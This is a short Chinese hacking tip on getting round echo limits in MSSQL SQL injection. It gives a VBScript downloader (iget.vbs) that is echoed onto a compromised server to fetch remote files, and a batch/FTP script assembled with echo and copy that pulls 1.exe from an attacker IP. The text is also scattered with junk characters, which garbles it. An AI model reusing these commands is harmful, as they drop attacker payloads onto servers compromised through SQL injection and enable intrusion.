mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
  ^3 z' ~: M* R3 D$ o; N/ ]
3 x6 t- H, X' }2 [& k3 U: }Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

$ w* e1 e: n* z! T& e这样我们可以一次echo成功,echo版本:
0 D7 C  H: I% J9 a: S" l$ |, @
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


2.bat调用ftp脚本的写法(by envymask)

0 |, s! A9 V. l. techo ftp&gt;1.vbs
( v5 v( h1 d( ]: K' F- Lecho open ip&gt;2.vbs
# s( T, o% N  v& T1 h5 Aecho u&gt;3.vbs
& P/ f% g* j' j6 Q: y2 uecho s&gt;4.vbs
, x9 a6 `& [( @- T8 Oecho binary&gt;5.vbs
5 ]; y6 I- v: B3 n) H& a* xecho get 1.exe&gt;6.vbs
& Z' C+ h# P$ T6 g7 A4 }& ]2 Lecho bay&gt;7.vbs

copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
* A4 v5 [) U0 ^) I9 Y2 Q</P>